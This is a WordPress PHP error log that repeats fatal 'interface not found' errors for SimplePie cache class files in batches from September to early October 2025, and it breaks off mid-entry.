[14-Sep-2025 15:03:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-Sep-2025 15:03:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-Sep-2025 15:03:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-Sep-2025 15:03:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-Sep-2025 15:03:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-Sep-2025 15:03:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[14-Sep-2025 15:03:36 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-Sep-2025 15:03:37 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-Sep-2025 15:03:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[14-Sep-2025 15:12:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[14-Sep-2025 15:12:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[14-Sep-2025 15:12:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[14-Sep-2025 15:12:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[14-Sep-2025 15:12:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[14-Sep-2025 15:12:19 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[14-Sep-2025 15:12:20 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[14-Sep-2025 15:12:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[14-Sep-2025 15:12:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[18-Sep-2025 16:54:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[18-Sep-2025 16:54:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[18-Sep-2025 16:54:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[18-Sep-2025 16:54:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[18-Sep-2025 16:54:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[18-Sep-2025 16:54:48 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[18-Sep-2025 16:54:50 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[18-Sep-2025 16:54:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[18-Sep-2025 16:54:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[18-Sep-2025 17:08:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[18-Sep-2025 17:08:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[18-Sep-2025 17:08:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[18-Sep-2025 17:08:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[18-Sep-2025 17:08:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[18-Sep-2025 17:08:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[18-Sep-2025 17:08:24 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[18-Sep-2025 17:08:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[18-Sep-2025 17:08:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[19-Sep-2025 06:25:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[19-Sep-2025 06:25:18 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[19-Sep-2025 06:25:21 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[19-Sep-2025 06:25:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[19-Sep-2025 06:25:22 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[19-Sep-2025 06:25:23 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[19-Sep-2025 06:25:24 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[19-Sep-2025 06:25:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[19-Sep-2025 06:25:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[19-Sep-2025 06:40:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[19-Sep-2025 06:40:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[19-Sep-2025 06:40:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[19-Sep-2025 06:40:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[19-Sep-2025 06:40:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[19-Sep-2025 06:40:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[19-Sep-2025 06:40:52 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[19-Sep-2025 06:40:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[19-Sep-2025 06:40:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[22-Sep-2025 12:33:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[22-Sep-2025 12:33:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[22-Sep-2025 12:33:03 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[22-Sep-2025 12:33:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[22-Sep-2025 12:33:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[22-Sep-2025 12:33:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[22-Sep-2025 12:33:05 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[22-Sep-2025 12:33:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[22-Sep-2025 12:33:06 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[22-Sep-2025 12:51:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[22-Sep-2025 12:51:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[22-Sep-2025 12:51:00 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[22-Sep-2025 12:51:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[22-Sep-2025 12:51:01 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[22-Sep-2025 12:51:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[22-Sep-2025 12:51:04 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[22-Sep-2025 12:51:04 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[22-Sep-2025 12:51:05 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[25-Sep-2025 21:52:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[25-Sep-2025 21:52:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[25-Sep-2025 21:52:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[25-Sep-2025 21:52:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[25-Sep-2025 21:52:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[25-Sep-2025 21:52:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[25-Sep-2025 21:52:36 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[25-Sep-2025 21:52:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[25-Sep-2025 21:52:38 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[25-Sep-2025 22:05:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[25-Sep-2025 22:05:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 52
[25-Sep-2025 22:05:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 54
[25-Sep-2025 22:05:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:54
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 54
[25-Sep-2025 22:05:49 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 63
[25-Sep-2025 22:05:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:64
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 64
[25-Sep-2025 22:05:54 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:60
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 60
[25-Sep-2025 22:05:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:57
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 57
[25-Sep-2025 22:05:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:63
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 63
[02-Oct-2025 10:36:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:56
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 56
[02-Oct-2025 10:36:53 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:52
Stack trace:
#0 {main}
